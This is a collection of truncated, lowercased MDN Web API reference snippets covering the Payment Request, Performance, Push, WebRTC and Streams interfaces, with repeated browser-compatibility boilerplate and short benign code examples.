using the paymentrequest.show() method's detailspromise parameter to provide a promise that returns a paymentdetailsupdate that updates the payment information before the user interface is even enabled for the first time. properties the paymentdetailsupdate dictionary is based on the paymentdetailsbase dictionary, and inherits its properties, which are included in the list below. displayitems optional an array of paymentitem objects, each describing one line item for the payment request. these represent the line items on a receipt or invoice. error optional a domstring specifying an error message to present to the user. when calling updatewith(), including error in the updated data causes the user agent to display the text as a general error message. for address field specific erro...
...l an addresserrors object which includes an error message for each property of the shipping address that could not be validated. shippingoptions optional an array of paymentshippingoption objects, each describing one available shipping option from which the user may choose. total optional a paymentitem providing an updated total for the payment. make sure this equals the sum of all of the items in displayitems. this is not calculated automatically. you must update this value yourself anytime the total amount due changes. this lets you have flexibility for how to handle things like tax, discounts, and other adjustments to the total price charged. specifications specification status comment payment request apithe definition of 'paymentdetailsupdate' in that spe...
PaymentRequest.abort() - Web APIs
n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 55notes disabled notes available only in nightly builds.disabled from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). to change preferences in firefox, visit about:config.opera android no support nosafari ios full support 11.3samsung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature. see also paymentrequest.
PaymentRequest.canMakePayment() - Web APIs
n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 55notes disabled notes available only in nightly builds.disabled from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). to change preferences in firefox, visit about:config.opera android no support nosafari ios full support 11.3samsung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature. see also paymentrequest.
PaymentRequest.onshippingaddresschange - Web APIs
n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 55notes disabled notes available only in nightly builds.disabled from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). to change preferences in firefox, visit about:config.opera android no support nosafari ios full support 11.3samsung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature. ...
PaymentRequest.shippingOption - Web APIs
n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 55notes disabled notes available only in nightly builds.disabled from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). to change preferences in firefox, visit about:config.opera android no support nosafari ios full support 11.3samsung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature. ...
PaymentRequest.shippingType - Web APIs
n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 55notes disabled notes available only in nightly builds.disabled from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
PaymentRequestUpdateEvent.updateWith() - Web APIs
the updatewith() method of the paymentrequestupdateevent interface updates the details of an existing paymentrequest. syntax paymentrequestupdateevent.updatewith(details); parameters details a paymentdetailsupdate object specifying the changes applied to the payment request: displayitems optional an array of paymentitem objects, each describing one line item for the payment request. these represent the line items on a receipt or invoice. error optional a domstring specifying an error message to present to the user. when calling updatewith(), including error in the updated data causes the user agent to display the text as a general error message. for address field specific errors, use shippingaddresserrors. modifiers optional an array of paymentdetailsmodifier objects, each...
...l an addresserrors object which includes an error message for each property of the shipping address that could not be validated. shippingoptions optional an array of paymentshippingoption objects, each describing one available shipping option from which the user may choose. total optional a paymentitem providing an updated total for the payment. make sure this equals the sum of all of the items in displayitems. this is not calculated automatically. you must update this value yourself anytime the total amount due changes. this lets you have flexibility for how to handle things like tax, discounts, and other adjustments to the total price charged. return value undefined. specifications specification status comment payment request apithe definition of 'payme...
PaymentResponse.details - Web APIs
n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). to change preferences in firefox, visit about:config.opera android no support nosafari ios full support yessamsung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature. ...
PaymentResponse.payerEmail - Web APIs
n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). to change preferences in firefox, visit about:config.opera android no support nosafari ios full support yessamsung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature. ...
PaymentRequest.payerName - Web APIs
n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). to change preferences in firefox, visit about:config.opera android no support nosafari ios full support yessamsung internet android full support 7.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature. ...
Performance.timeOrigin - Web APIs
ation. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... nowebview android full support 62chrome android full support 62firefox android full support 53opera android full support 46safari ios no support nosamsung internet android full support 8.0legend full support full support no support no support compatibility unknown compatibility unknownexperimental.
PerformanceLongTaskTiming.attribution - Web APIs
ft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yessafari ? webview android full support 58chrome android full support 58firefox android no support noopera android full support yessafari ios ? ...
PerformanceObserver.observe() - Web APIs
the observe() method of the performanceobserver interface is used to specify the set of performance entry types to observe. the performance entry types are specified as an array of domstring objects, each naming one entry type; the type names are documented in performance entry type names in performanceentry.entrytype. when a matching performance entry is recorded, the performance observer's callback function—set when creating the performanceobserver—is invoked. ...
...names are documented in performance entry type names in performanceentry.entrytype. when a matching performance entry is recorded, the performance observer's callback function—set when creating the performanceobserver—is invoked. syntax observer.observe(options); parameters options a performanceobserverinit dictionary with the following possible members: entrytypes: an array of domstring objects, each specifying one performance entry type to observe. may not be used together with the "type" or "buffered" options. type: a single domstring specifying exactly one performance entry type to observe. may not be used together with the entrytypes option. buffered: a boolean flag to indicate whether buffered entries should be queued into the observer's buffer. must be used onl...
PerformanceObserverEntryList.getEntriesByName() - Web APIs
formance entry objects for a given name and entry type. the list's members are determined by the set of entry types specified in the call to the observe() method. the list is available in the observer's callback function (as the first parameter in the callback). this method is exposed to window and worker interfaces. syntax entries = list.getentriesbyname(name, type); parameters name a domstring representing the name of the entry to retrieve. type optional a domstring representing the type of entry to retrieve such as "mark". the valid entry types are listed in performanceentry.entrytype. return value a list of explicitly observed performance entry objects that have the specified name and type. if the type argument is not specified, only the name will be used to determine the e...
...if no objects meet the specified criteria, an empty list is returned. ...
PerformanceServerTiming.toJSON - Web APIs
exceptions none. ...
... exceptions none. ...
PerformanceServerTiming - Web APIs
rver metrics that are sent with the response in the server-timing http header. this interface is restricted to the same origin, but you can use the timing-allow-origin header to specify the domains that are allowed to access the server metrics. note that this interface is only available in secure contexts (https) in some browsers. ...
...s. note that this interface is only available in secure contexts (https) in some browsers. properties performanceservertiming.descriptionread only a domstring value of the server-specified metric description, or an empty string. performanceservertiming.durationread only a double that contains the server-specified metric duration, or value 0.0. performanceservertiming.nameread only a domstring value of the server-specified metric name. methods performanceservertiming.tojson() returns a domstring that is the json representation of the performanceservertiming object. example given a server that sends the server-timing header, for example a node.js server like this: const http = require('http'); function requesthandler(request, response) { const headers = { 'server-t...
PhotoCapabilities.fillLightMode - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the fut...
PhotoCapabilities.imageHeight - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the fut...
imageWidth - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the fut...
PhotoCapabilities.redEyeReduction - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the fut...
Point - Web APIs
Web › API › Point
point is an interface, which existed only briefly in the css transforms level 1 specification, which represents a point in 2-dimensional space. it is non-standard, not broadly compatible, and should not be used. although it is not directly related to this defunct interface, you are probably looking for dompoint, which is part of the geometry interfaces module level 1 specification. properties x a floating-point value specifying the point's position with respect to the x (horizontal) axis. y a floating-point value specifying the point's position with respect to the y (vertical) axis. ...
...r dompoint, which is part of the geometry interfaces module level 1 specification. properties x a floating-point value specifying the point's position with respect to the x (horizontal) axis. y a floating-point value specifying the point's position with respect to the y (vertical) axis. specifications this class was specified in the defunct 20 march 2009 working draft of css 2d transforms module level 3. it is not present in the current working draft of the css transforms level 1 specification. ...
PointerEvent.PointerEvent() - Web APIs
pointereventinitoptional is a pointereventinit dictionary, having the following fields: pointerid — optional and defaulting to 0, of type long, that sets the value of the instance's pointerevent.pointerid. width — optional and defaulting to 1, of type double, that sets the value of the instance's pointerevent.width. ...
... tiltx — optional and defaulting to 0, of type long, that sets the value of the instance's pointerevent.tiltx. tilty — optional and defaulting to 0, of type long, that sets the value of the instance's pointerevent.tilty. twist — optional and defaulting to 0, of type long, that sets the value of the instance's pointerevent.twist. pointertype — optional and defaulting to "", of type domstring, that sets the value of the instance's pointerevent.pointertype. isprimary — optional and defaulting to false, of type boolean, that sets the value of the instance's pointerevent.isprimary. note: the pointereventinit dictionary also accepts fields from the mouseevent, uieventinit and eventinit dictionaries. example var moveevent = new pointerevent("pointermove"); var downev...
PointerEvent.getCoalescedEvents() - Web APIs
initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...rt 59disabled partial support 59disabled disabled from version 59: this feature is behind the dom.w3c_pointer_events.enabled preference (needs to be set to true). to change preferences in firefox, visit about:config.opera android full support 43safari ios no support nosamsung internet android full support 7.0legend full support full support partial support partial support no support no supportexperimental. expect behavior to change in the future.experimental. expect beha...
PublicKeyCredential.id - Web APIs
the id read-only property of the publickeycredential interface is a domstring, inherited from credential, which represents the identifier of the current publickeycredential instance. this property is a base64url encoded version of publickeycredential.rawid. note: this property may only be used in top-level contexts and will not be available in an <iframe> for example. syntax id = publickeycredential.id value a domstring being the base64url encoded version of publickeycredential.rawid. examples var publickey = { challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john ...
...tring being the base64url encoded version of publickeycredential.rawid. ...
PublicKeyCredentialCreationOptions.rp - Web APIs
rp property of the publickeycredentialcreationoptions dictionary is an object describing the relying party which requested the credential creation (via navigator.credentials.create()). syntax relyingpartyobj = publickeycredentialcreationoptions.rp properties icon optional an url as a usvstring value which points to an image resource which can be the logo/icon of the relying party. id a domstring uniquely identifying a relying party. the default value of this property is the domain of the current document (e.g. "login.example.com"). it may be overridden with a suffix of the current domain (e.g. "example.com"). name a domstring giving a human-readable name for the relying party. this property is intended for display (e.g. "example corp"). examples var publickey = { challenge: /...
...-readable name for the relying party. this property is intended for display (e.g. "example corp"). ...
PushEvent.data - Web APIs
Web › API › PushEvent › data
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdata experimentalchrome full support 57edge full support 16disabled full support 16disabled disabled from version 16: this feature is behind the enable service workers preference. full support 17firefox ...
...expect behavior to change in the future.experimental. expect behavior to change in the future.see implementation...
PushManager.hasPermission() - Web APIs
pushmanager interface. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethaspermission experimentalchrome full support 42edge full support 16disabled full support 16disabled disabled from version 16: this feature is behind the enable service workers preference. full support 17fir...
...expect behavior to change in the future.experimental. expect behavior to change in the future.see implementation...
PushManager.permissionState() - Web APIs
possible values are 'prompt', 'denied', or 'granted'. note: as of firefox 44, the permissions for notifications and push have been merged. if permission is granted for notifications, push will also be enabled. syntax pushmanager.permissionstate(options).then(function(pushmessagingstate) { ... }); parameters options optional an object containing optional configuration parameters. ...
...cription will only be used for messages whose effect is made visible to the user. applicationserverkey: a public key your push server will use to send messages to client apps via a push server. this value is part of a signing key pair generated by your application server and usable with elliptic curve digital signature (ecdsa) over the p-256 curve. returns a promise that resolves to a domstring with a value of 'prompt', 'denied', or 'granted'. specifications specification status comment push apithe definition of 'permissionstate()' in that specification. working draft initial definition. ...
PushManager.supportedContentEncodings - Web APIs
initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsupportedcontentencodings experimentalchrome full support 60edge full support 16disabled full support 16disabled disabled from version 16: this feature is behind the enable service workers preference. full support ...
...expect behavior to change in the future.experimental. expect behavior to change in the future.see implementation...
PushMessageData.arrayBuffer() - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future.see implementation...
PushMessageData.blob() - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future.see implementation...
PushMessageData.json() - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future.see implementation...
PushMessageData.text() - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future.see implementation...
PushSubscription.expirationTime - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... nowebview android no support nochrome android full support 60firefox android no support noopera android full support 44safari ios no support nosamsung internet android full support 8.0legend full support full support no support no support ...
PushSubscription.options - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
RTCDTMFSender.insertDTMF() - Web APIs
tonechange events sent to the rtcdtmfsender every time a tone starts or ends. as long as the connection is active, you can send tones at any time. calling insertdtmf() will append the specified tones to the end of the current tone buffer, so that those tones play after the previously-enqueued tones. syntax rtcdtmfsender.insertdtmf(tones[, duration[, intertonegap]]); parameters tones a domstring containing the dtmf codes to be transmitted to the recipient. specifying an empty string as the tones parameter clears the tone buffer, aborting any currently queued tones. a "," character inserts a two second delay. duration optional the amount of time, in milliseconds, that each dtmf tone should last. this value must be between 40 ms and 6000 ms (6 seconds), inclusive. the default is 100...
...ring containing the dtmf codes to be transmitted to the recipient. specifying an empty string as the tones parameter clears the tone buffer, aborting any currently queued tones. a "," character inserts a two second delay. duration optional the amount of time, in milliseconds, that each dtmf tone should last. this value must be between 40 ms and 6000 ms (6 seconds), inclusive. the default is 100 ms. intertonegap optional the length of time, in milliseconds, to wait between tones. the browser will enforce a minimum value of 30 ms (that is, if you specify a lower value, 30 ms will be used instead); the default is 70 ms. return value undefined exceptions invalidstateerror the dtmf tones couldn't be sent because the track has been stopped, or is in a read-only or inactive state. inva...
RTCDTMFToneChangeEvent.RTCDTMFToneChangeEvent() - Web APIs
see tone characters for details on what characters are permitted. ...
...see tone characters for details on what characters are permitted. ...
RTCDataChannel.protocol - Web APIs
if no protocol was specified when the data channel was created, then this property's value is "" (the empty string). the permitted values of this property are defined by the web site or app using the data channel. the ability for each channel to have a defined subprotocol lets your app, for example, use json objects as messages on one channel while another channel is plaintext and another is raw binary or even some other format. syntax var subprotocol = adatachannel.protocol; value a string identifying the app-defined subprotocol being used for exchanging data on the channel. ...
...some other format. syntax var subprotocol = adatachannel.protocol; value a string identifying the app-defined subprotocol being used for exchanging data on the channel. if none has been established, this is an empty string (""). example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel", { protocol: "json" }); function handlechannelmessage(datachannel, msg) { switch(datachannel.protocol) { case "json": /* process json data */ break; case "raw": /* process raw binary data */ break; } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.protocol' in that specification. candidate recommendation initial...
RTCIceCandidate.candidate - Web APIs
the candidate string specifies the network connectivity information for the candidate. ...
...the candidate string specifies the network connectivity information for the candidate. if the candidate is an empty string (""), the end of the candidate list has been reached; this candidate is known as the "end-of-candidates" marker. ...
RTCIceCandidate.relatedAddress - Web APIs
you can't specify the value of relatedaddress in the options object, but the address is automatically extracted from the candidate a-line, if it's formatted properly, being taken from its rel-address field. the related address and port (relatedport) are not used at all by ice itself; they are provided for analysis and diagnostic purposes only, and their inclusion may be blocked by security systems, so do not rely on them having non-null values. syntax var reladdress = rtcicecandidate.relatedaddress; value a domstring which contains the candidate's related address. for both peer and server reflexive candidates, the related address (and related port) are the base for that server or peer reflexive candidate. for relay candidates, the related address and port are set to the mapped address ...
...l, meaning the field is not included in the candidate's a-line. usage notes the related address is included in ice candidates despite not being used by ice itself. relatedaddress can be used for diagnostic purposes; by observing the relationships between the various types of candidates and their addresses and related addresses. relatedaddress can also be used by quality-of-service (qos) mechanisms. here's an sdp attribute line (a-line) describing an ice candidate discovered by the stun server: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 6502 typ srflx raddr 192.168.2.77 rport 32768 generation 0 the remote address, relatedaddress, is the dotted quad (for ipv4) or colon-delineated 64-bit address (for ipv6) immediately following the text "raddr", or "192.168.2.77". example in th...
RTCIceCandidate.sdpMid - Web APIs
the read-only property sdpmid on the rtcicecandidate interface returns a domstring specifying the media stream identification tag of the media component with which the candidate is associated. this id uniquely identifies a given stream for the component with which the candidate is associated. this property can be configured by specifying the value of the sdpmid property when constructing the new candidate object using rtcicecandidate(). if you call the constructor with an m-line string instead of an rtcicecandidateinit object, the value of sdpmid is extracted from the specified candidate m-line string. ...
...candidate is associated. this property can be configured by specifying the value of the sdpmid property when constructing the new candidate object using rtcicecandidate(). if you call the constructor with an m-line string instead of an rtcicecandidateinit object, the value of sdpmid is extracted from the specified candidate m-line string. syntax var sdpmid = rtcicecandidate.sdpmid; value a domstring which uniquely identifies the source media component from which the candidate draws data, or null if no such association exists for the candidate. note: attempting to add a candidate (using addicecandidate()) that has a value of null for either sdpmid or sdpmlineindex will throw a typeerror exception. example ... specifications specification status comment webr...
RTCIceTransport - Web APIs
y useful if you need to access state information about the connection. properties the rtcicetransport interface inherits properties from its parent, eventtarget. it also offers the following properties: component read only the ice component being used by the transport. the value is one of the strings from the rtcicetransport enumerated type: "rtp" or "rtsp". ...
...t read only the ice component being used by the transport. the value is one of the strings from the rtcicetransport enumerated type: "rtp" or "rtsp". gatheringstate read only a domstring indicating which gathering state the ice agent is currently in. the value is one of those included in the rtcicegathererstate enumerated type: "new", "gathering", or "complete". role read only returns a domstring whose value is one of the members of the rtcicerole enumerated type: "controlling" or "controlled"; this indicates whether the ice agent is the one that makes the final decision as to the candidate pair to use or not. state read only a domstring indicating what the current state of the ice agent is. the value of state can be used to determine whether the ice agent has made an initial conn...
RTCPeerConnection() - Web APIs
n't included in the dictionary, "balanced" is assumed. certificates optional an array of objects of type rtccertificate which are used by the connection for authentication. if this property isn't specified, a set of certificates is generated automatically for each rtcpeerconnection instance. although only one certificate is used by a given connection, providing certificates for multiple algorithms may improve the odds of successfully connecting in some circumstances. see using certificates below for additional information. this configuration option cannot be changed after it is first specified; once the certificates have been set, this property is ignored in future calls to rtcpeerconnection.setconfiguration(). icecandidatepoolsize optional an unsigned 16-bit integer value which speci...
...agent; these are typically stun and/or turn servers. if this isn't specified, the connection attempt will be made with no stun or turn server available, which limits the connection to local peers. icetransportpolicy optional the current ice transport policy; this must be one of the values from the rtcicetransportpolicy enum. if this isn't specified, "all" is assumed. peeridentity optional a domstring which specifies the target peer identity for the rtcpeerconnection. if this value is set (it defaults to null), the rtcpeerconnection will not connect to a remote peer unless it can successfully authenticate with the given name. rtcpmuxpolicy optional the rtcp mux policy to use when gathering ice candidates, in order to support non-multiplexed rtcp. the value must be one of those from the ...
RTCPeerConnection.addTransceiver() - Web APIs
) creates a new rtcrtptransceiver and adds it to the set of transceivers associated with the rtcpeerconnection. each transceiver represents a bidirectional stream, with both an rtcrtpsender and an rtcrtpreceiver associated with it. syntax rtptransceiver = rtcpeerconnection.addtransceiver(trackorkind, init); parameters trackorkind a mediastreamtrack to associate with the transceiver, or a domstring which is used as the kind of the receiver's track, and by extension of the rtcrtpreceiver itself. init optional an object that conforms to the rtcrtptransceiverinit dictionary which provides any options that you may wish to specify when creating the new transceiver. possible values are: direction optional the new transceiver's preferred directionality. this value is used to initialize t...
...sh to specify when creating the new transceiver. possible values are: direction optional the new transceiver's preferred directionality. this value is used to initialize the new rtcrtptransceiver object's rtcrtptransceiver.direction property. sendencodings optional a list of encodings to allow when sending rtp media from the rtcrtpsender. each entry is of type rtcrtpencodingparameters. streams optional a list of mediastream objects to add to the transceiver'srtcrtpreceiver; when the remote peer's rtcpeerconnection's track event occurs, these are the streams that will be specified by that event. exceptions typeerror a string was specified as trackorkind which is not valid. the string must be either "audio" or "video". specifications specification status comme...
RTCPeerConnection: addstream event - Web APIs
been added to it. important: this event has been removed from the webrtc specification. you should instead watch for the track event, which is sent for each media track added to the rtcpeerconnection. ...
... you can, similarly, watch for streams to be removed from the connection by monitoring the removestream event. examples this example looks to determine if the user's browser supports the track event. if it does, a track event listener is set up; otherwise, an addstream event listener is set up. pc is an rtcpeerconnection. if (pc.addtrack !== undefined) { pc.ontrack = ev => { ev.streams.foreach(stream => doaddstream(stream)); } } else { pc.onaddstream = ev => { doaddstream(ev.stream); } } this calls a function doaddstream() once for each stream being added to the rtcpeerconnection, regardless of whether the browser sends addstream or track. you can also use the addeventlistener() method to set an event listener: pc.addeventlistener("addstream", ev => doaddstream(ev...
RTCPeerConnection.ontrack - Web APIs
nection. syntax rtcpeerconnection.ontrack = eventhandler; value set ontrack to be a function you provide that accepts as input a rtctrackevent object describing the new track and how it's being used. ...
...this connects that stream of video to the element so that it begins to be presented to the user. ...
RTCPeerConnection: track event - Web APIs
track event types in rtctrackevent for details. examples this example shows code that creates a new rtcpeerconnection, then adds a new track event handler. ...
...er("track", e => { videoelement.srcobject = e.streams[0]; hangupbutton.disabled = false; }, false); the event handler assigns the new track's first stream to an existing <video> element, identified using the variable videoelement. you can also assign the event handler function to the ontrack property, rather than use addeventlistener(). pc.ontrack = e => { videoelement.srcobject = e.streams[0]; hangupbutton.disabled = false; return false; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'track' in that specification. candidate recommendation initial specification. ...
RTCRtpCapabilities - Web APIs
nsions for that codec. properties codecs an array of rtcrtpcodeccapability objects, each describing one of the codecs supported by the rtcrtpsender or rtcrtpreceiver. there are some special entries in this array, described below in the section the codecs array. headerextensions an array of objects conforming to the rtcrtpheaderextensioncapability dictionary. each object contains a single domstring, uri, specifying the uri of the header extension, as described in rfc 5285. description the codecs array the codecs array is an array of objects conforming to the dictionary rtcrtpcodeccapability. each of these objects describes a single codec and its basic capabilities. its properties are: the browser will only report distinct capability combinations separately. if two sets of capabi...
... special entries that should always be present, representing underlying components of the transport. those components are: red (redundant audio data) the media type of an red entry may vary due to there being several versions of it, but it will end with red, such as video/red or video/fwdred. the base red standard can be found in rfc 2198. there may be multiple entries for red if different forms are supported; each will have a unique media type in that case. fec (forward error correction) an fec component handles error correction data; its media type may also vary due to there being advanced versions of the standard available, but it will always end with fec. one possible value is video/ulpfec (a generic error connection model). there may also be multiple fec entries if more than one f...
RTCRtpCodecParameters - Web APIs
most of the fields in this property take values which are defined and maintained by the internet assigned numbers authority (iana). references to relevant iana documents are provided in the see also section at the end of this article. properties payloadtype optional the rtp payload type used to identify this codec. mimetype optional the codec's mime media type and subtype specified as a domstring of the form "type/subtype". iana maintains a registry of valid mime types. clockrate optional an unsigned long integer value specifying the codec's clock rate in hertz (hz). the clock rate is the rate at which the codec's rtp timestamp advances. most codecs have specific values or ranges of values they permit; see the iana payload format media type registry for details. channels optional ...
...at which the codec's rtp timestamp advances. most codecs have specific values or ranges of values they permit; see the iana payload format media type registry for details. channels optional an unsigned short integer indicating the number of channels the codec should support. for example, for audio codecs, a value of 1 specifies monaural sound while 2 indicates stereo. sdpfmtpline optional a domstring containing the format-specific parameters field from the "a=fmtp" line in the codec's sdp, if one is present; see section 5.8 of the ietf specification for jsep. note: on an rtcrtpreceiver, the format-specific parameters come from the sdp sent by the remote peer, while for rtcrtpsender, they're provided by the local description. ...
RTCRtpContributingSource.source - Web APIs
n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 59disabled full support 59disabled disabled from version 59: this feature is behind the media.peerconnection.rtpsourcesapi.enable preference (needs to be set to true). ...
RTCRtpReceiver.track - Web APIs
n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android full support 59chrome android full support 59firefox android full support yesopera android full support 43safari ios full support yessamsung internet android full support 7.0legend full support full support no support no support ...
RTCSessionDescription.sdp - Web APIs
the property rtcsessiondescription.sdp is a read-only domstring containing the sdp which describes the session. ...
... the property rtcsessiondescription.sdp is a read-only domstring containing the sdp which describes the session. ...
RTCTrackEvent - Web APIs
ckeventinit dictionary. you will probably not need to create new track events yourself, since they're typically created by the webrtc infrastructure and sent to the connection's ontrack event handler. properties since rtctrackevent is based on event, its properties are also available. receiver read only the rtcrtpreceiver used by the track that's been added to the rtcpeerconnection. streams read only optional an array of mediastream objects, each representing one of the media streams to which the added track belongs. by default, the array is empty, indicating a streamless track. track read only the mediastreamtrack which has been added to the connection. transceiver read only the rtcrtptransceiver being used by the new track. track event types there is only one type of tr...
...ck event when a new inbound track has been added to your connection, and you call addtrack() to add a track to the far end of the connection, thereby triggering a track event on the remote peer. example this simple example creates an event listener for the track event which sets the srcobject of the <video> element with the id videobox to the first stream in the list passed in the event's streams array. peerconnection.addeventlistener("track", e => { let videoelement = document.getelementbyid("videobox"); videoelement.srcobject = e.streams[0]; }, false); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent' in that specification. candidate recommendation initial specificati...
ReadableByteStreamController - Web APIs
constructor none. readablebytestreamcontroller instances are created automatically during readablestream construction. properties readablebytestreamcontroller.byobrequest read only returns the current byob pull request. readablebytestreamcontroller.desiredsize read only returns the desired size required to fill the stream's internal queue. methods readablebytestreamcontroller.close() closes the associated stream. readablebytestreamcontroller.enqueue() enqueues a given chunk in the associated stream. ...
... the stream's internal queue. methods readablebytestreamcontroller.close() closes the associated stream. readablebytestreamcontroller.enqueue() enqueues a given chunk in the associated stream. readablebytestreamcontroller.error() causes any future interactions with the associated stream to error. examples tbd. specifications specification status comment streamsthe definition of 'readablebytestreamcontroller' in that specification. living standard initial definition ...
ReadableStreamBYOBReader.cancel() - Web APIs
cancels the stream, signaling a loss of interest in the stream by a consumer. the supplied reason parameter will be given to the underlying source, which may or may not use it. note: if the reader is active, the cancel() method behaves the same as that for the associated stream (readablestream.cancel()). ...
...eader.cancel(reason); parameters reason a domstring providing a human-readable reason for the cancellation. return value a promise, which fulfills with the value given in the reason parameter. exceptions typeerror the source object is not a readablestreambyobreader, or the stream has no owner. examples tbd. specifications specification status comment streamsthe definition of 'cancel()' in that specification. living standard initial definition. ...
ReadableStreamBYOBReader - Web APIs
a custom readablestream() constructor). constructor readablestreambyobreader() creates and returns a readablestreambyobreader object instance. properties readablestreambyobreader.closed read only allows you to write code that responds to an end to the streaming process. returns a promise that fulfills if the stream becomes closed or the reader's lock is released, or rejects if the stream errors. methods readablestreambyobreader.cancel() cancels the stream, signaling a loss of interest in the stream by a consumer. ...
